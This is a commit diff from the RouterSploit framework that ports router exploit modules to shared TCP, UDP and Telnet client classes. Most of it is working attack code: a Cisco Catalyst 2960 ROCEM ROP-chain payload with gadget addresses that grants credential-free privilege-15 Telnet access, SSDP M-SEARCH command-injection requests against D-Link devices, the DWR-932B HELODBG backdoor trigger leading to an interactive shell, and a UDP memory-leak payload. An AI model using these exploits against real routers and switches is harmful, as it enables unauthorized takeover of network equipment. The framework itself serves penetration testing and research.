Unverified Commit 0401a67f by Marcin Bury Committed by GitHub

TCP & UDP based exploits (#451)

* Fixing TCP & UDP based exploits

* Fixing Mikrotik API ROS
parent 214a5447
...@@ -71,6 +71,7 @@ class Exploit(TCPClient): ...@@ -71,6 +71,7 @@ class Exploit(TCPClient):
def check(self): def check(self):
tcp_client = self.tcp_connect() tcp_client = self.tcp_connect()
if tcp_client: if tcp_client:
self.tcp_close(tcp_client)
return True return True
return False return False
...@@ -78,7 +79,8 @@ class Exploit(TCPClient): ...@@ -78,7 +79,8 @@ class Exploit(TCPClient):
def check_default(self): def check_default(self):
self.credentials = [] self.credentials = []
self.run_threads(self.target_function, self.defaults) data = LockedIterator(self.defaults)
self.run_threads(self.threads, self.target_function, data)
if self.credentials: if self.credentials:
return self.credentials return self.credentials
import socket
import telnetlib
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.tcp.tcp_client import TCPClient from routersploit.core.tcp.tcp_client import TCPClient
from routersploit.core.telnet.telnet_client import TelnetClient
class Exploit(TCPClient): class Exploit(TCPClient, TelnetClient):
__info__ = { __info__ = {
"name": "Cisco Catalyst 2960 ROCEM RCE", "name": "Cisco Catalyst 2960 ROCEM RCE",
"description": "Module exploits Cisco Catalyst 2960 ROCEM RCE vulnerability. " "description": "Module exploits Cisco Catalyst 2960 ROCEM RCE vulnerability. "
...@@ -37,126 +36,126 @@ class Exploit(TCPClient): ...@@ -37,126 +36,126 @@ class Exploit(TCPClient):
# Cisco Catalyst 2960 IOS 12.2(55)SE1 # Cisco Catalyst 2960 IOS 12.2(55)SE1
{ {
"template": ( "template": (
"\xff\xfa\x24\x00" + b"\xff\xfa\x24\x00" +
"\x03CISCO_KITS\x012:" + b"\x03CISCO_KITS\x012:" +
"A" * 116 + b"A" * 116 +
# first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
"\x00\x00\x37\xb4" + b"\x00\x00\x37\xb4" +
# next bytes are shown as offsets from r1 # next bytes are shown as offsets from r1
# +8 address of pointer to is_cluster_mode function - 0x34 # +8 address of pointer to is_cluster_mode function - 0x34
"\x02\x2c\x8b\x74" + b"\x02\x2c\x8b\x74" +
"{FUNC_IS_CLUSTER_MODE}" + b"{FUNC_IS_CLUSTER_MODE}" +
# +16(+0) r1 points here at second gadget # +16(+0) r1 points here at second gadget
"BBBB" + b"BBBB" +
# +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr; # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
"\x00\xdf\xfb\xe8" + b"\x00\xdf\xfb\xe8" +
# +8 # +8
"CCCC" + b"CCCC" +
# +12 # +12
"DDDD" + b"DDDD" +
# +16(+0) r1 points here at third gadget # +16(+0) r1 points here at third gadget
"EEEE" + b"EEEE" +
# +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
"\x00\x06\x78\x8c" + b"\x00\x06\x78\x8c" +
# +8 r1+8 = 0x022c8b60 # +8 r1+8 = 0x022c8b60
"\x02\x2c\x8b\x60" + b"\x02\x2c\x8b\x60" +
# +12 # +12
"FFFF" + b"FFFF" +
# +16(+0) r1 points here at fourth gadget # +16(+0) r1 points here at fourth gadget
"GGGG" + b"GGGG" +
# +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr; # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
"\x00\x6b\xa1\x28" + b"\x00\x6b\xa1\x28" +
"{FUNC_PRIVILEGE_LEVEL}" + b"{FUNC_PRIVILEGE_LEVEL}" +
# +12 # +12
"HHHH" + b"HHHH" +
# +16(+0) r1 points here at fifth gadget # +16(+0) r1 points here at fifth gadget
"IIII" + b"IIII" +
# +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
"\x01\x48\xe5\x60" + b"\x01\x48\xe5\x60" +
# +8 r1 points here at third gadget # +8 r1 points here at third gadget
"JJJJ" + b"JJJJ" +
# +12 # +12
"KKKK" + b"KKKK" +
# +16 # +16
"LLLL" + b"LLLL" +
# +20 original execution flow return addr # +20 original execution flow return addr
"\x01\x13\x31\xa8" + b"\x01\x13\x31\xa8" +
":15:" + "\xff\xf0" b":15:" + b"\xff\xf0"
), ),
"func_is_cluster_mode": { "func_is_cluster_mode": {
# +12 set address of func that rets 1 # +12 set address of func that rets 1
"set": "\x00\x00\x99\x80", "set": b"\x00\x00\x99\x80",
# unset # unset
"unset": "\x00\x04\xea\x58" "unset": b"\x00\x04\xea\x58"
}, },
"func_privilege_level": { "func_privilege_level": {
# +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr; # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr;
"set": "\x00\x12\x52\x1c", "set": b"\x00\x12\x52\x1c",
# unset # unset
"unset": "\x00\x04\xe6\xf0" "unset": b"\x00\x04\xe6\xf0"
} }
}, },
# Cisco Catalyst 2960 IOS 12.2(55)SE11 # Cisco Catalyst 2960 IOS 12.2(55)SE11
{ {
"template": ( "template": (
"\xff\xfa\x24\x00" + b"\xff\xfa\x24\x00" +
"\x03CISCO_KITS\x012:" + b"\x03CISCO_KITS\x012:" +
"A" * 116 + b"A" * 116 +
# first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
"\x00\x00\x37\xb4" + b"\x00\x00\x37\xb4" +
# next bytes are shown as offsets from r1 # next bytes are shown as offsets from r1
# +8 address of pointer to is_cluster_mode function - 0x34 # +8 address of pointer to is_cluster_mode function - 0x34
"\x02\x3d\x55\xdc" + b"\x02\x3d\x55\xdc" +
"{FUNC_IS_CLUSTER_MODE}" + b"{FUNC_IS_CLUSTER_MODE}" +
# +16(+0) r1 points here at second gadget # +16(+0) r1 points here at second gadget
"BBBB" + b"BBBB" +
# +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr; # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
"\x00\xe1\xa9\xf4" + b"\x00\xe1\xa9\xf4" +
# +8 # +8
"CCCC" + b"CCCC" +
# +12 # +12
"DDDD" + b"DDDD" +
# +16(+0) r1 points here at third gadget # +16(+0) r1 points here at third gadget
"EEEE" + b"EEEE" +
# +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
"\x00\x06\x7b\x5c" + b"\x00\x06\x7b\x5c" +
# +8 r1+8 = 0x23d55c8 # +8 r1+8 = 0x23d55c8
"\x02\x3d\x55\xc8" + b"\x02\x3d\x55\xc8" +
# +12 # +12
"FFFF" + b"FFFF" +
# +16(+0) r1 points here at fourth gadget # +16(+0) r1 points here at fourth gadget
"GGGG" + b"GGGG" +
# +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr; # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
"\x00\x6c\xb3\xa0" + b"\x00\x6c\xb3\xa0" +
"{FUNC_PRIVILEGE_LEVEL}" + b"{FUNC_PRIVILEGE_LEVEL}" +
# +12 # +12
"HHHH" + b"HHHH" +
# +16(+0) r1 points here at fifth gadget # +16(+0) r1 points here at fifth gadget
"IIII" + b"IIII" +
# +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
"\x01\x4a\xcf\x98" + b"\x01\x4a\xcf\x98" +
# +8 r1 points here at third gadget # +8 r1 points here at third gadget
"JJJJ" + b"JJJJ" +
# +12 # +12
"KKKK" + b"KKKK" +
# +16 # +16
"LLLL" + b"LLLL" +
# +20 original execution flow return addr # +20 original execution flow return addr
"\x01\x14\xe7\xec" + b"\x01\x14\xe7\xec" +
":15:" + "\xff\xf0" b":15:" + b"\xff\xf0"
), ),
"func_is_cluster_mode": { "func_is_cluster_mode": {
# +12 set address of func that rets 1 # +12 set address of func that rets 1
"set": "\x00\x00\x99\x9c", "set": b"\x00\x00\x99\x9c",
# unset # unset
"unset": "\x00\x04\xeA\xe0" "unset": b"\x00\x04\xeA\xe0"
}, },
"func_privilege_level": { "func_privilege_level": {
# +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr; # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;
"set": "\x00\x27\x0b\x94", "set": b"\x00\x27\x0b\x94",
# unset # unset
"unset": "\x00\x04\xe7\x78" "unset": b"\x00\x04\xe7\x78"
} }
} }
] ]
...@@ -172,13 +171,12 @@ class Exploit(TCPClient): ...@@ -172,13 +171,12 @@ class Exploit(TCPClient):
print_status("Trying to connect to Telnet service on port {}".format(self.telnet_port)) print_status("Trying to connect to Telnet service on port {}".format(self.telnet_port))
try: tcp_client = self.tcp_connect()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if tcp_client:
s.connect((self.target, int(self.telnet_port))) response = self.tcp_recv(tcp_client, 1024)
print_status("Connection OK") print_status("Connection OK")
print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024)))) print_status("Received bytes from telnet service: {}".format(repr(response)))
except Exception: else:
print_error("Connection failed") print_error("Connection failed")
return return
...@@ -191,25 +189,25 @@ class Exploit(TCPClient): ...@@ -191,25 +189,25 @@ class Exploit(TCPClient):
print_status("Unsetting credless privilege 15 authentication") print_status("Unsetting credless privilege 15 authentication")
print_status("Sending cluster option") print_status("Sending cluster option")
s.send(payload) self.tcp_send(tcp_client, payload)
s.close() self.tcp_close(tcp_client)
print_status("Payload sent") print_status("Payload sent")
if self.action == 'set': if self.action == 'set':
print_status("Connecting to Telnet service...") print_status("Connecting to Telnet service...")
try: telnet_client = self.telnet_connect()
t = telnetlib.Telnet(self.target, int(self.telnet_port)) if telnet_client:
t.interact() self.telnet_interactive(telnet_client)
except Exception: else:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
print_status("Check if Telnet authentication was set back") print_status("Check if Telnet authentication was set back")
def build_payload(self): def build_payload(self):
payload = self.payloads[self.device]['template'] payload = self.payloads[self.device]['template']
payload = payload.replace("{FUNC_IS_CLUSTER_MODE}", self.payloads[self.device]['func_is_cluster_mode'][self.action]) payload = payload.replace(b"{FUNC_IS_CLUSTER_MODE}", self.payloads[self.device]['func_is_cluster_mode'][self.action])
payload = payload.replace("{FUNC_PRIVILEGE_LEVEL}", self.payloads[self.device]['func_privilege_level'][self.action]) payload = payload.replace(b"{FUNC_PRIVILEGE_LEVEL}", self.payloads[self.device]['func_privilege_level'][self.action])
return payload return payload
......
...@@ -35,42 +35,40 @@ class Exploit(UDPClient): ...@@ -35,42 +35,40 @@ class Exploit(UDPClient):
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
def execute(self, cmd): def execute(self, cmd):
buf = ("M-SEARCH * HTTP/1.1\r\n" cmd = bytes(cmd, "utf-8")
"Host:239.255.255.250:1900\r\n"
"ST:uuid:`" + cmd + "`\r\n"
"Man:\"ssdp:discover\"\r\n"
"MX:2\r\n\r\n")
try: request = (
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) b"M-SEARCH * HTTP/1.1\r\n" +
sock.settimeout(10) b"Host:239.255.255.250:1900\r\n" +
sock.connect((self.target, 1900)) b"ST:uuid:`" + cmd + b"`\r\n" +
sock.send(buf) b"Man:\"ssdp:discover\"\r\n" +
sock.close() b"MX:2\r\n\r\n"
except socket.error: )
pass
udp_client = self.udp_create()
self.udp_send(udp_client, request)
self.udp_close(udp_client)
return "" return ""
@mute @mute
def check(self): def check(self):
buf = ("M-SEARCH * HTTP/1.1\r\n" request = (
"Host:239.255.255.250:1900\r\n" b"M-SEARCH * HTTP/1.1\r\n"
"ST:upnp:rootdevice\r\n" b"Host:239.255.255.250:1900\r\n"
"Man:\"ssdp:discover\"\r\n" b"ST:upnp:rootdevice\r\n"
"MX:2\r\n\r\n") b"Man:\"ssdp:discover\"\r\n"
b"MX:2\r\n\r\n"
)
udp_client = self.udp_create()
try: if udp_client:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.udp_send(udp_client, request)
sock.settimeout(10) response = self.udp_recv(udp_client, 65535)
sock.connect((self.target, 1900)) self.udp_close(udp_client)
sock.send(buf)
response = sock.recv(65535)
sock.close()
except Exception:
return False # target is not vulnerable
if "Linux, UPnP/1.0, DIR-" in response: if response and "Linux, UPnP/1.0, DIR-" in response:
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -30,16 +30,19 @@ class Exploit(UDPClient): ...@@ -30,16 +30,19 @@ class Exploit(UDPClient):
shell(self, architecture="mipsle") shell(self, architecture="mipsle")
def execute(self, cmd): def execute(self, cmd):
buf = ('M-SEARCH * HTTP/1.1\r\n' request = (
'HOST:' + self.target + ':1900\r\n' "M-SEARCH * HTTP/1.1\r\n" +
'ST:urn:schemas-upnp-org:service:WANIPConnection:1;' + cmd + ';ls\r\n' "HOST:{}:{}\r\n".format(self.target, self.port) +
'MX:2\r\n' "ST:urn:schemas-upnp-org:service:WANIPConnection:1;{};ls\r\n".format(cmd) +
'MAN:"ssdp:discover"\r\n\r\n') "MX:2\r\n" +
"MAN:\"ssdp:discover\"\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) )
s.connect((self.target, 1900))
s.send(buf) request = bytes(request, "utf-8")
s.close()
udp_client = self.udp_create()
self.udp_send(udp_client)
self.udp_close(udp_client)
return "" return ""
......
import socket
import telnetlib
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.tcp.tcp_client import TCPClient from routersploit.core.udp.udp_client import UDPClient
from routersploit.core.telnet.telnet_client import TelnetClient from routersploit.core.telnet.telnet_client import TelnetClient
class Exploit(TCPClient, TelnetClient): class Exploit(UDPClient, TelnetClient):
__info__ = { __info__ = {
"name": "D-Link DWR-932B", "name": "D-Link DWR-932B",
"description": "Module exploits D-Link DWR-932B backdoor vulnerability which allows " "description": "Module exploits D-Link DWR-932B backdoor vulnerability which allows "
...@@ -23,48 +21,27 @@ class Exploit(TCPClient, TelnetClient): ...@@ -23,48 +21,27 @@ class Exploit(TCPClient, TelnetClient):
} }
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(23, "Target Telnet port") port = OptPort(39889, "Target Telnet port")
def run(self): def run(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print_status("Sending backdoor packet")
sock.settimeout(10.0) if self.check():
telnet_client = self.telnet_connect(port=23)
print_status("Sending backdoor packet...") if telnet_client:
self.telnet_interactive(telnet_client)
response = "" self.telnet_close(telnet_client)
try: else:
sock.sendto(b"HELODBG", (self.target, 39889))
response = sock.recv(1024)
except Exception:
pass
sock.close()
if "Hello" in response:
print_success("Target seems to vulnerable")
print_status("Trying to connect to the telnet service {}:{}".format(self.target, self.telnet_port))
try:
tn = telnetlib.Telnet(self.target, self.telnet_port)
tn.interact()
except Exception:
print_error("Exploit failed - could not connect to the telnet service") print_error("Exploit failed - could not connect to the telnet service")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
@mute @mute
def check(self): def check(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_client = self.udp_create()
sock.settimeout(10.0) self.udp_send(udp_client, b"HELODBG")
try:
sock.sendto(b"HELODBG", (self.target, 39889))
response = sock.recv(1024)
if "Hello" in response: response = self.udp_recv(udp_client, 1024)
sock.sendto(b"BYEDBG", (self.target, 39889)) if response and "Hello" in response:
return True # target is vulnerable return True # target is vulnerable
except Exception:
pass
return False # target is not vulnerable return False # target is not vulnerable
import socket from routersploit.core.exploit import *
from routersploit.core.exploit import*
from routersploit.core.udp.udp_client import UDPClient from routersploit.core.udp.udp_client import UDPClient
...@@ -62,36 +61,24 @@ class Exploit(UDPClient): ...@@ -62,36 +61,24 @@ class Exploit(UDPClient):
b"\xb8\xf9\x12\x00\xcb\x70\x40\x00\x9c\x70\x40\x00" b"\xb8\xf9\x12\x00\xcb\x70\x40\x00\x9c\x70\x40\x00"
) )
def run(self): self.content = ""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10)
print_status("Sending exploit payload")
sock.sendto(self.payload, (self.target, 43690))
try: def run(self):
print_status("Waiting for response") if self.check():
response = sock.recv(1024) print_status("Target returned data")
except Exception: print_info(self.content)
else:
print_error("Exploit failed - device seems to be not vulnerable") print_error("Exploit failed - device seems to be not vulnerable")
return
if len(response):
print_success("Exploit success")
print_info(response)
@mute @mute
def check(self): def check(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_client = self.udp_create()
sock.settimeout(10) self.udp_send(udp_client, self.payload)
sock.sendto(self.payload, (self.target, 43690)) response = self.udp_recv(udp_client, 1024)
self.udp_close(udp_client)
try:
response = sock.recv(1024)
except Exception:
return False # target is not vulnerable
if len(response): if response:
self.content = response
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -39,6 +39,7 @@ class Exploit(UDPClient): ...@@ -39,6 +39,7 @@ class Exploit(UDPClient):
udp_client = self.udp_create() udp_client = self.udp_create()
self.udp_send(udp_client, payload) self.udp_send(udp_client, payload)
response = self.udp_recv(udp_client, 1024) response = self.udp_recv(udp_client, 1024)
self.udp_close(udp_client)
if response: if response:
return str(response[8:], "utf-8") return str(response[8:], "utf-8")
......
from routersploit.modules.creds.routers.mikrotik.api_ros_default_creds import Exploit
def test_check_success(tcp_target):
""" Test scenario - testing against mikrotik api ros server """
exploit = Exploit()
exploit.target = tcp_target.host
exploit.port = tcp_target.port
assert exploit.check()
# assert exploit.check_default() is None
# assert exploit.run() is None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment